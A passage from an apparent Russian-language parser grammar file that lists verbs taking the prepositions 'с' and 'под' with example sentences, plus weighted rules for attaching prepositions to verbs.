rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ) rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ) rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ) rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род) rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род) rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С) rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С) rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род) rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С) rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С) rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С) rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С) rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род) rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род) rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род) rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род) rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род) rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С) rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род) rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род) rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род) rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род) rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род) rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род) rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С) rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род) rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род) rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род) rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С) rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С) rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С) прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С) rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С) rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род) rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С) rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с) rus_verbs:спасть{}, // тяжесть спала с души. (спасть с) rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С) rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С) rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С) rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то) rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С) rus_verbs:приближаться{}, // со стороны острова приближалась лодка. rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С) rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с) rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с) rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С) rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С) rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С) rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С) rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С) rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С) rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.) rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С) rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С) rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С) rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С) rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с) rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С) rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с) rus_verbs:вставать{}, // Он не встает с кровати. (вставать с) rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с) rus_verbs:причитаться{}, // С вас причитается 50 рублей. rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки. rus_verbs:сократить{}, // Его сократили со службы. rus_verbs:поднять{}, // рука подняла с пола rus_verbs:поднимать{}, rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни. rus_verbs:полететь{}, // Мальчик полетел с лестницы. rus_verbs:литься{}, // вода льется с неба rus_verbs:натечь{}, // натечь с сапог rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая rus_verbs:съезжать{}, // съезжать с заявленной темы rus_verbs:покатываться{}, // покатываться со смеху rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:сдирать{}, // сдирать с тела кожу rus_verbs:соскальзывать{}, // соскальзывать с крючка rus_verbs:сметать{}, // сметать с прилавков rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки rus_verbs:прокаркать{}, // прокаркать с ветки rus_verbs:стряхивать{}, // стряхивать с одежды rus_verbs:сваливаться{}, // сваливаться с лестницы rus_verbs:слизнуть{}, // слизнуть с лица rus_verbs:доставляться{}, // доставляться с фермы rus_verbs:обступать{}, // обступать с двух сторон rus_verbs:повскакивать{}, // повскакивать с мест rus_verbs:обозревать{}, // обозревать с вершины rus_verbs:слинять{}, // слинять с урока rus_verbs:смывать{}, // смывать с лица rus_verbs:спихнуть{}, // спихнуть со стола rus_verbs:обозреть{}, // обозреть с вершины rus_verbs:накупить{}, // накупить с рук rus_verbs:схлынуть{}, // схлынуть с берега rus_verbs:спикировать{}, // спикировать с километровой высоты rus_verbs:уползти{}, // уползти с поля боя rus_verbs:сбиваться{}, // сбиваться с пути rus_verbs:отлучиться{}, // отлучиться с поста rus_verbs:сигануть{}, // сигануть с крыши rus_verbs:сместить{}, // сместить с поста rus_verbs:списать{}, // списать с оригинального устройства инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы деепричастие:слетая{}, rus_verbs:напиваться{}, // напиваться с горя rus_verbs:свесить{}, // свесить с крыши rus_verbs:заполучить{}, // заполучить со склада rus_verbs:спадать{}, // спадать с глаз rus_verbs:стартовать{}, // стартовать с мыса rus_verbs:спереть{}, // спереть со склада rus_verbs:согнать{}, // согнать с живота rus_verbs:скатываться{}, // скатываться со стога rus_verbs:сняться{}, // сняться с выборов rus_verbs:слезать{}, // слезать со стола rus_verbs:деваться{}, // деваться с подводной лодки rus_verbs:огласить{}, // огласить с трибуны rus_verbs:красть{}, // красть со склада rus_verbs:расширить{}, // расширить с торца rus_verbs:угадывать{}, // угадывать с полуслова rus_verbs:оскорбить{}, // оскорбить со сцены rus_verbs:срывать{}, // срывать с головы rus_verbs:сшибить{}, // сшибить с коня rus_verbs:сбивать{}, // сбивать с одежды rus_verbs:содрать{}, // содрать с посетителей rus_verbs:столкнуть{}, // столкнуть с горы rus_verbs:отряхнуть{}, // отряхнуть с одежды rus_verbs:сбрасывать{}, // сбрасывать с борта rus_verbs:расстреливать{}, // расстреливать с борта вертолета rus_verbs:придти{}, // мать скоро придет с работы rus_verbs:съехать{}, // Миша съехал с горки rus_verbs:свисать{}, // свисать с веток rus_verbs:стянуть{}, // стянуть с кровати rus_verbs:скинуть{}, // скинуть снег с плеча rus_verbs:загреметь{}, // загреметь со стула rus_verbs:сыпаться{}, // сыпаться с неба rus_verbs:стряхнуть{}, // стряхнуть с головы rus_verbs:сползти{}, // сползти со стула rus_verbs:стереть{}, // стереть с экрана rus_verbs:прогнать{}, // прогнать с фермы rus_verbs:смахнуть{}, // смахнуть со стола rus_verbs:спускать{}, // спускать с поводка rus_verbs:деться{}, // деться с подводной лодки rus_verbs:сдернуть{}, // сдернуть с себя rus_verbs:сдвинуться{}, // сдвинуться с места rus_verbs:слететь{}, // слететь с катушек rus_verbs:обступить{}, // обступить со всех сторон rus_verbs:снести{}, // снести с плеч инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков деепричастие:сбегая{}, прилагательное:сбегающий{}, // прилагательное:сбегавший{ вид:несоверш }, rus_verbs:запить{}, // запить с горя rus_verbs:рубануть{}, // рубануть с плеча rus_verbs:чертыхнуться{}, // чертыхнуться с досады rus_verbs:срываться{}, // срываться с цепи rus_verbs:смыться{}, // смыться с уроков rus_verbs:похитить{}, // похитить со склада rus_verbs:смести{}, // смести со своего пути rus_verbs:отгружать{}, // отгружать со склада rus_verbs:отгрузить{}, // отгрузить со склада rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя rus_verbs:взиматься{}, // Плата взимается с любого посетителя rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков rus_verbs:вспархивать{}, // вспархивать с цветка rus_verbs:вспорхнуть{}, // вспорхнуть с ветки rus_verbs:выбросить{}, // выбросить что-то с балкона rus_verbs:выводить{}, // выводить с одежды пятна rus_verbs:снять{}, // снять с головы rus_verbs:начинать{}, // начинать с эскиза rus_verbs:двинуться{}, // двинуться с места rus_verbs:начинаться{}, // начинаться с гардероба rus_verbs:стечь{}, // стечь с крыши rus_verbs:слезть{}, // слезть с кучи rus_verbs:спуститься{}, // спуститься с крыши rus_verbs:сойти{}, // сойти с пьедестала rus_verbs:свернуть{}, // свернуть с пути rus_verbs:сорвать{}, // сорвать с цепи rus_verbs:сорваться{}, // сорваться с поводка rus_verbs:тронуться{}, // тронуться с места rus_verbs:угадать{}, // угадать с первой попытки rus_verbs:спустить{}, // спустить с лестницы rus_verbs:соскочить{}, // соскочить с крючка rus_verbs:сдвинуть{}, // сдвинуть с места rus_verbs:подниматься{}, // туман, поднимающийся с болота rus_verbs:подняться{}, // туман, поднявшийся с болота rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног. rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног. rus_verbs:донестись{}, // С улицы донесся шум дождя. rus_verbs:опасть{}, // Опавшие с дерева листья. rus_verbs:махнуть{}, // Он махнул с берега в воду. rus_verbs:исчезнуть{}, // исчезнуть с экрана rus_verbs:свалиться{}, // свалиться со сцены rus_verbs:упасть{}, // упасть с дерева rus_verbs:вернуться{}, // Он ещё не вернулся с работы. rus_verbs:сдувать{}, // сдувать пух с одуванчиков rus_verbs:свергать{}, // свергать царя с трона rus_verbs:сбиться{}, // сбиться с пути rus_verbs:стирать{}, // стирать тряпкой надпись с доски rus_verbs:убирать{}, // убирать мусор c пола rus_verbs:удалять{}, // удалять игрока с поля rus_verbs:окружить{}, // Япония окружена со всех сторон морями. rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение. глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы. прилагательное:спокойный{}, // С этой стороны я спокоен. rus_verbs:спросить{}, // С тебя за всё спросят. rus_verbs:течь{}, // С него течёт пот. rus_verbs:дуть{}, // С моря дует ветер. rus_verbs:капать{}, // С его лица капали крупные капли пота. rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол. rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня. rus_verbs:встать{}, // Все встали со стульев. rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто. rus_verbs:взять{}, // Возьми книгу с полки. rus_verbs:спускаться{}, // Мы спускались с горы. rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы. rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок. rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы. rus_verbs:двигаться{}, // Он не двигался с места. rus_verbs:отходить{}, // мой поезд отходит с первого пути rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции rus_verbs:падать{}, // снег падает с ветвей rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия. } fact гл_предл { if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:род} } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:парт} } then return true } #endregion РОДИТЕЛЬНЫЙ fact гл_предл { if context { * предлог:с{} *:*{ падеж:твор } } then return false,-3 } fact гл_предл { if context { * предлог:с{} *:*{ падеж:род } } then return false,-4 } fact гл_предл { if context { * предлог:с{} * } then return false,-5 } #endregion Предлог_С /* #region Предлог_ПОД // -------------- ПРЕДЛОГ 'ПОД' ----------------------- fact гл_предл { if context { * предлог:под{} @regex("[a-z]+[0-9]*") } then return true } // ПОД+вин.п. не может присоединяться к существительным, поэтому // он присоединяется к любым глаголам. fact гл_предл { if context { * предлог:под{} *:*{ падеж:вин } } then return true } wordentry_set Гл_ПОД_твор= { rus_verbs:извиваться{}, // извивалась под его длинными усами rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ) rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ) rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ) rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ) rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ) rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ) rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть) rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ) rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ) rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ) rus_verbs:ПРОПОЛЗТИ{}, // rus_verbs:ПРОПОЛЗАТЬ{}, // rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ) rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ) rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ) rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ) rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ) rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом rus_verbs:иметься{}, // у каждого под рукой имелся арбалет rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ) rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ) rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ) rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ) rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ) rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ) rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ) rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ) rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ) rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ) rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ) rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ) rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ) rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор) rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ) rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ) rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ) rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ) rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ) rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ) rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ) rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ) rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ) rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ) rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ) rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ) rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ) rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ) rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ) rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ) rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ) rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ) rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ) rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ) rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ) rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД) rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ) rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД) rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ) rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ) rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ) rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ) rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ) rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ) rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ) rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ) rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ) rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ) rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ) rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ) rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ) rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ) rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ) rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ) rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ) rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ) rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ) rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ) rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ) rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ) rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ) rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ) rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ) rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ) rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ) rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ) rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ) rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ) rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД) rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД) rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД) rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД) rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД) rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД) rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД) rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД) rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор) rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД) rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД) rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД) rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД) rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД) rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД) rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД) rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД) rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД) rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД) rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД) rus_verbs:уснуть{}, // Миша уснет под одеялом rus_verbs:пошевелиться{}, // пошевелиться под одеялом rus_verbs:задохнуться{}, // задохнуться под слоем снега rus_verbs:потечь{}, // потечь под избыточным давлением rus_verbs:уцелеть{}, // уцелеть под завалами rus_verbs:мерцать{}, // мерцать под лучами софитов rus_verbs:поискать{}, // поискать под кроватью rus_verbs:гудеть{}, // гудеть под нагрузкой rus_verbs:посидеть{}, // посидеть под навесом rus_verbs:укрыться{}, // укрыться под навесом rus_verbs:утихнуть{}, // утихнуть под одеялом rus_verbs:заскрипеть{}, // заскрипеть под тяжестью rus_verbs:шелохнуться{}, // шелохнуться под одеялом инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш }, инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш }, деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш }, rus_verbs:пониматься{}, // пониматься под успехом rus_verbs:подразумеваться{}, // подразумеваться под правильным решением rus_verbs:промокнуть{}, // промокнуть под проливным дождем rus_verbs:засосать{}, // засосать под ложечкой rus_verbs:подписаться{}, // подписаться под воззванием rus_verbs:укрываться{}, // укрываться под навесом rus_verbs:запыхтеть{}, // запыхтеть под одеялом rus_verbs:мокнуть{}, // мокнуть под лождем rus_verbs:сгибаться{}, // сгибаться под тяжестью снега rus_verbs:намокнуть{}, // намокнуть под дождем rus_verbs:подписываться{}, // подписываться под обращением rus_verbs:тарахтеть{}, // тарахтеть под окнами инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача. деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{}, rus_verbs:лежать{}, // лежать под капельницей rus_verbs:вымокать{}, // вымокать под дождём rus_verbs:вымокнуть{}, // вымокнуть под дождём rus_verbs:проворчать{}, // проворчать под нос rus_verbs:хмыкнуть{}, // хмыкнуть под нос rus_verbs:отыскать{}, // отыскать под кроватью rus_verbs:дрогнуть{}, // дрогнуть под ударами rus_verbs:проявляться{}, // проявляться под нагрузкой rus_verbs:сдержать{}, // сдержать под контролем rus_verbs:ложиться{}, // ложиться под клиента rus_verbs:таять{}, // таять под весенним солнцем rus_verbs:покатиться{}, // покатиться под откос rus_verbs:лечь{}, // он лег под навесом rus_verbs:идти{}, // идти под дождем прилагательное:известный{}, // Он известен под этим именем. rus_verbs:стоять{}, // Ящик стоит под столом. rus_verbs:отступить{}, // Враг отступил под ударами наших войск. rus_verbs:царапаться{}, // Мышь царапается под полом. rus_verbs:спать{}, // заяц спокойно спал у себя под кустом rus_verbs:загорать{}, // мы загораем под солнцем ГЛ_ИНФ(мыть), // мыть руки под струёй воды ГЛ_ИНФ(закопать), ГЛ_ИНФ(спрятать), ГЛ_ИНФ(прятать), ГЛ_ИНФ(перепрятать) } fact гл_предл { if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } } then return true } // для глаголов вне списка - запрещаем. fact гл_предл { if context { * предлог:под{} *:*{ падеж:твор } } then return false,-10 } fact гл_предл { if context { * предлог:под{} *:*{} } then return false,-11 } #endregion Предлог_ПОД */ #region Предлог_ОБ // -------------- ПРЕДЛОГ 'ОБ' ----------------------- wordentry_set Гл_ОБ_предл= { rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ) 